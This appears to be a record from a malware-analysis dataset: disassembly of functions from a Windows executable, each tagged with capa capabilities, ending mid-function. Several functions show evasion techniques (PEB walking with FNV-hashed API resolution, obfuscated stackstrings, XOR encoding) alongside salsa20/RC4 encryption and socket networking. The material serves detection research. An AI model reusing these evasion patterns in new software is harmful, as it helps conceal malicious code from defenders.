joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001910
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
mov r9, rcx
movups xmm0, xmmword [rdx]
movups xmmword [rcx + 0x48], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x58], xmm1
movsd xmm0, qword [r8]
movsd qword [rcx + 0x68], xmm0
mov eax, dword [r8 + 8]
mov dword [rcx + 0x70], eax
mov dword [rcx + 0x80], 0x61707865
mov dword [rcx + 0x84], 0x3320646e
mov dword [rcx + 0x88], 0x79622d32
mov dword [rcx + 0x8c], 0x6b206574
movzx eax, byte [rdx + 2]
movzx ecx, byte [rdx + 3]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx]
shl ecx, 8
or ecx, eax
mov dword [r9 + 0x90], ecx
movzx eax, byte [rdx + 6]
movzx ecx, byte [rdx + 7]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 4]
shl ecx, 8
or ecx, eax
mov dword [r9 + 0x94], ecx
movzx eax, byte [rdx + 0xa]
movzx ecx, byte [rdx + 0xb]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 9]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 8]
shl ecx, 8
or ecx, eax
mov dword [r9 + 0x98], ecx
movzx eax, byte [rdx + 0xe]
movzx ecx, byte [rdx + 0xf]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0xd]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0xc]
shl ecx, 8
or ecx, eax
mov dword [r9 + 0x9c], ecx
movzx eax, byte [rdx + 0x12]
movzx ecx, byte [rdx + 0x13]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0x11]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0x10]
shl ecx, 8
or ecx, eax
mov dword [r9 + 0xa0], ecx
movzx eax, byte [rdx + 0x16]
movzx ecx, byte [rdx + 0x17]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0x15]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0x14]
shl ecx, 8
or ecx, eax
mov dword [r9 + 0xa4], ecx
movzx ecx, byte [rdx + 0x1b]
shl ecx, 8
movzx eax, byte [rdx + 0x1a]
or ecx, eax
movzx eax, byte [rdx + 0x19]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0x18]
shl ecx, 8
or ecx, eax
mov dword [r9 + 0xa8], ecx
movzx eax, byte [rdx + 0x1e]
movzx ecx, byte [rdx + 0x1f]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0x1d]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0x1c]
shl ecx, 8
or ecx, eax
mov dword [r9 + 0xb0], 0
mov dword [r9 + 0xac], ecx
movzx eax, byte [r8 + 2]
movzx ecx, byte [r8 + 3]
shl ecx, 8
or ecx, eax
movzx eax, byte [r8 + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [r8]
shl ecx, 8
or ecx, eax
mov dword [r9 + 0xb4], ecx
movzx eax, byte [r8 + 6]
movzx ecx, byte [r8 + 7]
shl ecx, 8
or ecx, eax
movzx eax, byte [r8 + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [r8 + 4]
shl ecx, 8
or ecx, eax
mov dword [r9 + 0xb8], ecx
movzx eax, byte [r8 + 0xa]
movzx ecx, byte [r8 + 0xb]
shl ecx, 8
or ecx, eax
movzx eax, byte [r8 + 9]
shl ecx, 8
or ecx, eax
movzx eax, byte [r8 + 8]
shl ecx, 8
or ecx, eax
mov dword [r9 + 0xbc], ecx
movsd xmm0, qword [r8]
movsd qword [r9 + 0x68], xmm0
mov eax, dword [r8 + 8]
mov dword [r9 + 0x70], eax
ret
Function at 0x140004c00
Capabilities:
Set socket configuration

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x30
mov eax, dword [rcx + 0x21c]
movzx ebx, r8w
mov rbp, rdx
mov rdi, rcx
test eax, eax
jne 0x140004d66
mov eax, 0x598
mov qword [rsp + 0x50], rsi
xor r8d, r8d
mov qword [rsp + 0x58], r14
xor edx, edx
mov dword [rcx + 0x23c], eax
xor r14d, r14d
mov dword [rcx + 0x8c], r14d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
lea rcx, [rdi + 0xb8]
mov dword [rdi + 0xd8], 0x598
mov qword [rdi + 0x258], rax
mov eax, dword [rdi + 0x70]
mov dword [rdi + 0xdc], eax
mov eax, dword [rdi + 0x74]
mov dword [rdi + 0xe0], eax
call fcn.1400027b0
mov eax, 1
mov dword [rdi + 0x48], 1
mov qword [rdi + 0x4c], 5
mov esi, r14d
mov dword [rdi + 0x54], 1
lock xadd qword [0x1400487d8], rax
add rax, 1
mov qword [rdi + 0x68], rax
jne 0x140004cc1
mov eax, 1
lock xadd qword [0x1400487d8], rax
inc rax
mov qword [rdi + 0x68], rax
mov rcx, qword [rdi + 0x58]
lea r9, [rsp + 0x70]
mov edx, 0xffff
mov dword [rsp + 0x70], 0x40000
mov r8d, 0x1001
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rdi + 0x58]
lea r9, [rsp + 0x70]
mov edx, 0xffff
mov dword [rsp + 0x70], 0x40000
mov r8d, 0x1002
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
movzx r8d, bx
mov rdx, rbp
mov rcx, rdi
call fcn.140004df0
test eax, eax
je 0x140004d96
lea rax, [rdi + 0x80]
mov r9, rdi
mov qword [rsp + 0x28], rax
lea r8, [0x140004ff0]
xor edx, edx
mov dword [rsp + 0x20], r14d
xor ecx, ecx
call fcn.140021ce4
mov qword [rdi + 0x78], rax
test rax, rax
je 0x140004d7b
mov rcx, qword [rdi + 0x40]
mov esi, 1
call qword [sym.imp.KERNEL32.dll_ResetEvent]
jmp 0x140004d90
cmp eax, 0x598
jbe 0x140004c25
xor eax, eax
add rsp, 0x30
pop rdi
pop rbp
pop rbx
ret
mov ecx, 0x65f
mov dword [rdi + 0x84], 8
call qword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
jne 0x140004dd9
jmp 0x140004dae
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
mov dword [rdi + 0x84], send
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [rdi + 0x48], r14d
mov qword [rdi + 0x4c], 5
mov dword [rdi + 0x54], 1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
mov ebx, eax
call fcn.140005800
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r14, qword [rsp + 0x58]
mov eax, esi
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
pop rbp
pop rbx
ret
Function at 0x140004df0
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push rbx
push rbp
push rsi
push r12
push r14
push r15
sub rsp, 0x78
mov rax, qword [0x140044040]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov r12d, 2
movzx r14d, r8w
mov r15, rdx
mov rbp, rcx
mov edx, r12d
mov ecx, r12d
mov r8d, shutdown
xor esi, esi
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x58], rax
cmp rax, 0xffffffffffffffff
je 0x140004fc9
mov qword [rsp + 0x40], rsi
lea rcx, [rsp + 0x54]
mov qword [rsp + 0x38], rsi
lea r8, [rsp + 0x50]
mov qword [rsp + 0x30], rcx
mov r9d, 4
mov dword [rsp + 0x28], esi
mov rcx, rax
mov edx, 0x9800000c
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x70], rdi
mov dword [rsp + 0x50], esi
call qword [sym.imp.WS2_32.dll_WSAIoctl]
mov rcx, qword [rbp + 0x58]
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov dword [rsp + 0x20], 4
mov r8d, 0xfffffffb
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rbp + 0x58]
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov dword [rsp + 0x20], 4
mov r8d, 4
call qword [sym.imp.WS2_32.dll_setsockopt]
call qword [sym.imp.WS2_32.dll_WSACreateEvent]
mov rcx, r15
mov qword [rbp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov qword [rsp + 0x38], rsi
mov r8, r15
mov qword [rsp + 0x30], rsi
mov r9d, eax
mov dword [rsp + 0x28], esi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
lea rcx, [rbx + 1]
call fcn.140019974
mov rcx, r15
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov qword [rsp + 0x38], rsi
mov r8, r15
mov qword [rsp + 0x30], rsi
mov r9d, eax
mov dword [rsp + 0x28], ebx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, rdi
mov byte [rbx + rdi], sil
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov edx, 1
mov rcx, rdi
mov rbx, rax
call fcn.140019904
mov rdi, qword [rsp + 0x70]
test rbx, rbx
je 0x140004fc9
movzx ecx, r14w
mov word [rsp + 0x58], r12w
call qword [sym.imp.WS2_32.dll_htons]
mov rdx, qword [rbp + 0x60]
mov r8d, gethostbyname
mov word [rsp + 0x5a], ax
mov rax, qword [rbx + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov rcx, qword [rbp + 0x58]
mov dword [rsp + 0x5c], eax
call qword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x140004fc5
mov rcx, qword [rbp + 0x58]
lea rdx, [rsp + 0x58]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x140004fc0
cmp eax, 0xffffffff
jne 0x140004fc5
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x140004fc5
mov esi, 1
mov eax, esi
jmp 0x140004fcb
xor eax, eax
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400195c0
add rsp, 0x78
pop r15
pop r14
pop r12
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400054f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
nop dword [rax]
mov rdx, qword [rbx + 0xa0]
xor r9d, r9d
mov rcx, qword [rbx + 0x58]
mov r8d, 0x598
call qword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test eax, eax
jle 0x140005573
cmp eax, 0x10
je 0x1400055a1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [rbx + 0x244]
lea rcx, [rbx + 0x268]
mov rdx, qword [rbx + 0xa0]
cmp edi, 0x18
jl 0x14000555b
mov r9, qword [rbx + 0x250]
mov r8d, edi
mov dword [rsp + 0x20], eax
call fcn.140006610
jmp 0x140005569
cmp edi, 0xc
jne 0x1400055e8
call fcn.1400068a0
cmp eax, 2
jne 0x140005500
jmp 0x1400055f3
cmp edi, 0xffffffff
jne 0x140005500
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x140005628
cmp eax, 0x2744
je 0x140005500
cmp eax, 0x2746
je 0x140005500
jmp 0x140005603
mov rcx, qword [rbx + 0xa0]
mov rax, qword [rcx]
cmp rax, qword [0x14003ce18]
jne 0x1400055e0
mov rax, qword [rcx + 8]
cmp rax, qword [0x14003ce20]
jne 0x1400055e0
xor eax, eax
mov dword [rbx + 0x48], 1
mov dword [rbx + 0x54], eax
mov qword [rbx + 0x4c], 5
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, recv
call qword [sym.imp.WS2_32.dll_WSASetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
mov ecx, 0x4c7
cmove eax, ecx
mov dword [rbx + 0x48], 1
mov dword [rbx + 0x4c], 4
mov dword [rbx + 0x50], eax
xor eax, eax
mov dword [rbx + 0x54], 1
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov rbx, qword [rsp + 0x40]
mov eax, 1
add rsp, 0x30
pop rdi
ret
Function at 0x140005640
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rcx
mov qword [rsp + 0x40], rbp
lea rsi, [rcx + 0x1b8]
xor r12d, r12d
nop dword [rax + rax]
mov eax, dword [rbx + 0x218]
mov rdi, r12
test eax, eax
jle 0x1400056dd
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rdi, qword [rbx + 0x1e8]
cmp rdi, qword [rbx + 0x1f0]
je 0x1400056ac
mov rax, qword [rdi + 8]
mov qword [rbx + 0x1e8], rax
mov qword [rax + 0x10], r12
test rdi, rdi
je 0x1400056cd
jmp 0x1400056bf
test rdi, rdi
je 0x1400056cd
mov qword [rbx + 0x1e8], r12
mov qword [rbx + 0x1f0], r12
mov qword [rdi + 8], r12
mov qword [rdi + 0x10], r12
dec dword [rbx + 0x1e0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rsi, [rbx + 0x1b8]
test rdi, rdi
je 0x1400057b1
mov r8d, dword [rdi + 0x30]
xor r9d, r9d
sub r8d, dword [rdi + 0x28]
mov rdx, qword [rdi + 0x28]
mov rcx, qword [rbx + 0x58]
call qword [sym.imp.WS2_32.dll_send]
mov ebp, eax
test eax, eax
jle 0x140005739
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [rbx + 0x218]
sub ecx, ebp
mov dword [rbx + 0x218], ecx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rdx, rdi
lea rcx, [rbx + 0xb8]
call fcn.1400029b0
jmp 0x140005670
cmp ebp, 0xffffffff
je 0x140005759
mov rdx, rdi
lea rcx, [rbx + 0xb8]
lea rsi, [rbx + 0x1b8]
call fcn.1400029b0
jmp 0x140005670
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x1400057d5
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rbx + 0x1e8]
test rax, rax
je 0x14000578c
mov qword [rax + 0x10], rdi
mov rax, qword [rbx + 0x1e8]
mov qword [rdi + 8], rax
jmp 0x14000579b
mov qword [rdi + 0x10], r12
mov qword [rdi + 8], r12
mov qword [rbx + 0x1f0], rdi
inc dword [rbx + 0x1e0]
mov rcx, rsi
mov qword [rbx + 0x1e8], rdi
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, 1
mov rbp, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
mov rdx, rdi
mov dword [rbx + 0x48], 1
lea rcx, [rbx + 0xb8]
mov dword [rbx + 0x4c], 3
mov dword [rbx + 0x50], eax
mov dword [rbx + 0x54], 1
call fcn.1400029b0
xor eax, eax
jmp 0x1400057b6
Function at 0x140006d50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x70
mov dword [rbp - 0x50], 0x440079
mov dword [rbp - 0x4c], 0x6d007e
mov dword [rbp - 0x48], 0x36008c
mov dword [rbp - 0x44], 0xda0010
mov dword [rbp - 0x40], 0x160029
mov dword [rbp - 0x3c], 0x6e0028
mov dword [rbp - 0x38], 0x3600de
mov dword [rbp - 0x34], 0x8d0044
mov dword [rbp - 0x30], 0x4f002d
mov dword [rbp - 0x2c], 0x3e0075
mov dword [rbp - 0x28], 0x67008c
mov dword [rbp - 0x24], 0xda0010
mov dword [rbp - 0x20], 0x410028
mov dword [rbp - 0x1c], 0x3d007b
mov dword [rbp - 0x18], 0x33008e
mov dword [rbp - 0x14], 0x820014
mov r9d, 0x1d
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x190
mov eax, dword [rdx + rcx]
mov r8d, 0x130
test al, 1
jne 0x140006e81
or eax, 1
mov dword [rdx + rcx], eax
lea rbx, [r8 + rcx]
mov byte [rbx + 0x42], 1
lea rax, [rbx + 0x40]
lea rcx, [rbp - 0x10]
cmp rbx, rcx
ja 0x140006e3f
lea rcx, [rbp - 0x50]
cmp rax, rcx
jb 0x140006e3f
movaps xmm0, xmmword [rbp - 0x50]
movups xmmword [rbx], xmm0
movaps xmm1, xmmword [rbp - 0x40]
movups xmmword [rbx + 0x10], xmm1
movaps xmm0, xmmword [rbp - 0x30]
movups xmmword [rbx + 0x20], xmm0
movaps xmm1, xmmword [rbp - 0x20]
movups xmmword [rbx + 0x30], xmm1
mov word [rbx + 0x40], r9w
jmp 0x140006e63
movaps xmm0, xmmword [rbp - 0x50]
movups xmmword [rbx], xmm0
movaps xmm1, xmmword [rbp - 0x40]
movups xmmword [rbx + 0x10], xmm1
movaps xmm0, xmmword [rbp - 0x30]
movups xmmword [rbx + 0x20], xmm0
movaps xmm1, xmmword [rbp - 0x20]
movups xmmword [rbx + 0x30], xmm1
mov word [rbx + 0x40], r9w
lea rcx, [0x1400323a0]
call fcn.140019d2c
nop
mov rax, rbx
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rbp
ret
lea rax, [rcx + r8]
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rbp
ret
Function at 0x140006ea0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x18
xor eax, eax
movq xmm2, r8
punpcklqdq xmm2, xmm2
mov r9, rdx
mov r10, rcx
test rdx, rdx
je 0x140007031
cmp rdx, 8
jb 0x14000700b
cmp dword [0x140044090], 5
jl 0x14000700b
movdqa xmm0, xmmword [0x14003d9d0]
lea r11, [rcx + 8]
movdqa xmm3, xmmword [0x14003d940]
and rdx, 0xfffffffffffffff8
movdqa xmm4, xmmword [0x14003d9a0]
movdqa xmm5, xmmword [0x14003d9c0]
movdqa xmmword [rsp], xmm0
mov qword [rsp + 0x10], rbx
mov ebx, dword [rsp]
nop word [rax + rax]
lea rcx, [rax + 2]
movq xmm0, rax
punpcklqdq xmm0, xmm0
lea r11, [r11 + 0x10]
paddq xmm0, xmm3
andps xmm0, xmm4
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm5
movd xmm0, ebx
andps xmm1, xmm0
movd xmm0, dword [r11 - 0x18]
xorps xmm1, xmm0
movq xmm0, rcx
punpcklqdq xmm0, xmm0
lea rcx, [rax + 4]
movd dword [r11 - 0x18], xmm1
paddq xmm0, xmm3
andps xmm0, xmm4
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm5
movd xmm0, ebx
andps xmm1, xmm0
movd xmm0, dword [r11 - 0x14]
xorps xmm1, xmm0
movq xmm0, rcx
movd dword [r11 - 0x14], xmm1
lea rcx, [rax + 6]
punpcklqdq xmm0, xmm0
add rax, 8
paddq xmm0, xmm3
andps xmm0, xmm4
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
movd xmm0, ebx
pshufb xmm1, xmm5
andps xmm1, xmm0
movd xmm0, dword [r11 - 0x10]
xorps xmm1, xmm0
movq xmm0, rcx
movd dword [r11 - 0x10], xmm1
punpcklqdq xmm0, xmm0
paddq xmm0, xmm3
andps xmm0, xmm4
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
movd xmm0, ebx
pshufb xmm1, xmm5
andps xmm1, xmm0
movd xmm0, dword [r11 - 0xc]
xorps xmm1, xmm0
movd dword [r11 - 0xc], xmm1
cmp rax, rdx
jb 0x140006f10
mov rbx, qword [rsp + 0x10]
cmp rax, r9
jae 0x140007031
mov r11d, 0xff
movzx ecx, al
mov rdx, r8
and cl, 7
shl cl, 3
shr rdx, cl
and dx, r11w
xor word [r10 + rax*2], dx
inc rax
cmp rax, r9
jb 0x140007011
add rsp, 0x18
ret
Function at 0x140007040
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x140044040]
xor rax, rsp
mov qword [rbp + 0x10], rax
mov edi, edx
mov rbx, rcx
xor edx, edx
mov dword [rsp + 0x30], 0x2c14303d
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x34], 0x64639211
mov r8d, 0xc0
mov dword [rsp + 0x38], 0x7b842e6b
mov dword [rsp + 0x3c], 0x5207a778
mov dword [rsp + 0x40], 0x12839457
mov dword [rsp + 0x44], 0x4c124d0e
mov dword [rsp + 0x48], 0x438f065a
mov dword [rsp + 0x4c], 0xa79693a3
mov dword [rsp + 0x20], 0xce886827
mov dword [rsp + 0x24], 0x59119cba
mov dword [rsp + 0x28], 0x422f154c
call fcn.140030190
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.140001910
movzx ecx, byte [rbp - 0x45]
movzx eax, byte [rbp - 0x46]
shl ecx, 8
or ecx, eax
mov dword [rbp], 1
movzx eax, byte [rbp - 0x47]
shl ecx, 8
or ecx, eax
mov qword [rbp - 0x38], 1
movzx eax, byte [rbp - 0x48]
shl ecx, 8
or ecx, eax
mov dword [rbp + 4], ecx
mov ecx, 0x40
mov qword [rbp - 0x70], rcx
test rdi, rdi
je 0x140007154
cmp rcx, 0x40
jb 0x14000713d
lea rcx, [rsp + 0x50]
call fcn.140001b30
xor ecx, ecx
mov qword [rbp - 0x70], rcx
movzx eax, byte [rsp + rcx + 0x50]
inc rcx
xor byte [rbx], al
inc rbx
mov qword [rbp - 0x70], rcx
sub rdi, 1
jne 0x140007127
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.1400195c0
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140007e00
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
lea rax, [0x14003d030]
mov qword [rcx], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov ebx, dword [rdx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140007ea6
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140007ea6
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0xb660ed63
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140007ea1
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140007e80
cmp r8d, 0x89a46eb7
je 0x140007eab
test r9d, r9d
jne 0x140007e60
mov rax, qword [rax]
jmp 0x140007e30
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov rcx, qword [rsi + 0x30]
call rax
lea rax, fcn.1400042f0
mov qword [rsi], rax
mov rcx, qword [rsi + 0x18]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]

Function at 0x140007ef0
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
xor eax, eax
lea r8, [0x1400077d0]
mov rsi, rcx
mov qword [rsp + 0x28], rax
mov r9, rcx
mov dword [rsp + 0x20], eax
xor edx, edx
xor ecx, ecx
call fcn.140021ce4
mov qword [rsi + 0x30], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140007fb7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140007fb7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x1574caf4
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140007fb2
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140007f90
cmp r8d, 0xf07bedf7
je 0x140007fbc
test r9d, r9d
jne 0x140007f70
mov rax, qword [rax]
jmp 0x140007f40
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov ecx, 0xbb8
add rax, r10
call rax
mov rcx, qword [rsi + 8]
mov rax, qword [rcx]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
jmp qword [rax]
Function at 0x140008c30
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov esi, ecx
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov ebx, dword [rdx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140008cd7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140008cd7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xab122b0c
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140008cd2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140008cb0
cmp r8d, 0x83402981
je 0x140008cdc
test r9d, r9d
jne 0x140008c90
mov rax, qword [rax]
jmp 0x140008c60
mov ecx, dword [rbx + 0x24]
mov r8d, esi
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
mov ecx, 0x400
call rax
mov rsi, rax
test rax, rax
je 0x140008ddc
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov ebx, dword [rdx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140008d97
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140008d97
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xf0826cd8
lea rax, [rdi + r9*4]
mov eax, dword [rax + r10]
add rax, r10
movzx edx, byte [rax]
inc rax
test dl, dl
je 0x140008d92
nop
movsx edx, dl
lea rax, [rax + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rax - 1]
test dl, dl
jne 0x140008d70
cmp r8d, 0xce3acfae
je 0x140008d9c
test r9d, r9d
jne 0x140008d50
mov rcx, qword [rcx]
jmp 0x140008d20
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rdx, [rsp + 0x38]
add rax, r10
mov rcx, rsi
call rax
test eax, eax
je 0x140008ddc
cmp dword [rsp + 0x38], 0x103
sete al
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x30]
xor al, al
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140008df0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xd], 0
mov r8, rcx
je 0x140008f41
xor eax, eax
cmp dword [0x140044090], 5
jl 0x140008f13
movzx eax, word [rcx]
movdqa xmm5, xmmword [0x14003da50]
movdqa xmm4, xmmword [0x14003d9b0]
movdqa xmm3, xmmword [0x14003d940]
movdqa xmm2, xmmword [0x14003d960]
movdqa xmm0, xmm3
